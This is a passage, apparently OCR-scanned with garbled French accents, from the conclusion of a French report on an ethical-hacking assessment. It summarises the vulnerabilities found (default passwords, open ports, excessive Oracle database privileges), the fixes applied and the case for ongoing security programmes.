60% selon les vulnérabilités existantes dans chaque couche.

La majorité¢ des vulnérabilités rencontrées résident dans les périphériques non sécurisés
physiquement, ayant des configurations ou mots de passe par default et contenant des services
ou ports inutile mais accessibles. Les solutions des vulnérabilités découvertes consistent a
I’amélioration de la sécurisation et le contréle des chambres informatiques, en ajoutant des
systemes de détection de chaleur, d’humidit¢ et de mouvement, verrouillant les racks et
implémentant des systémes de contréle d’acces avec des cameras de surveillance,
personnalisation des configurations initiales avec des identifiants complexes et I’arrétage des

services et ports inutilisés.

Un probléme majeur d’exces de priviléges est rencontré dans la base de données Oracle. Ce
probléme menace non seulement les données pertinentes de 1’entreprise mais son cycle de
travail entier. L implémentation de nouvelles normes de sauvegarde a travers une connexion
privilégiée temporaire et 1’amélioration de la distribution des priviléges suivant les roles a

¢liminé les risques existants.
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L’étude des vulnérabilités des systémes apres sécurisation a partir des mémes tests utilisées
précédemment dévoile un taux de vulnérabilités inferieur a 5%, donc une réduction
importante par rapport a I’état initial. Le piratage éthique est donc un moyen efficace de
défense contre les mauvais pirates, il ne garantie pas la sécurité idéale du systéme mais il est
un bon point de départ. Afin de maintenir ou méme réduire le taux obtenu, il faut implémenter
un programme de sécurisation basé sur le modele de référence proposé et suivant les listes de

contrdle périodiques.

Le travail de piratage éthique effectué¢ dans ce projet a consolidé considérablement la sécurité
du systeme informatique de I’organisation. Désormais les composants de ce systéme sont
protégés de tout genre de pirates malveillants, que ce soit un employé, un client ou un
étranger sur internet, ils ne pourront pas pénétrer le systéme et tout essai d’attaque sera capté

et analysé par les membres du département informatiques.

Toute entreprise a un systeme informatisé ouvert aux utilisateurs internes et au réseau
externe a travers ’internet. Les méthodes de sécurisations implémentées doivent étre mise a
jour réguliérement pour faire face aux nouvelles technologies d’attaques disponibles a tous
genres de pirates. Le recours au piratage éthique est un bon point de départ pour toutes les
entreprises, il aidera a évaluer le niveau de sécurité actuel et identifier les vulnérabilités
existantes dans leur systéme. Il est important aprés I’évaluation d’élaborer un modéele de
référence qui servira de base pour toute expansion future, et des listes de contrdle périodiques

permettant aux administrateurs des systemes de controler les activités survenant.

Les pirates éthiques ceuvrent a une amélioration permanente des systémes de sécurité
des entreprises. Ils se mettent dans la peau d'un hacker pour mesurer la vulnérabilité des
entreprises aux attaques. A mesure que l'Internet se développe et les outils d’infiltrations

augmentent exigeant moins de compétence, le besoin de sécurité augmente.
La majorité des entreprises n’ont pas des spécialistes de sécurité informatique, ils ont recours
alors a l'externalisation de service de piratage éthique. Le département informatique confronte

alors plusieurs interrogations :

Serait-il toujours impliqué des activités effectuées ?
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Est-ce une bonne idée de céder les rénes a un tiers pour tester la sécurité sans faire de suivi et
rester au-dessus de ce qui se passe ?

Est-ce que les entrepreneurs évaluent les dangers du piratage sur leur organisation ?

Seront-ils préparés a investir dans un travail de piratage éthique ?

Auront-ils recours a leur propre département informatique ou choisiront-ils 1’externalisation ?

C’est notre travail en tant qu’ingénieur des systémes informatiques de valoriser notre systéme
par rapport aux directeur et employés. Il ne suffit pas d’avoir un systeme opérationnel, mais il
faut prévoir un plan de contrdle et de sécurisation a long terme. Il faut rester au courant des
nouveaux risques menagants, concevoir et développer des nouvelles normes de sécurisation et

inciter les directeurs a investir pour une amélioration continue des systémes informatiques.
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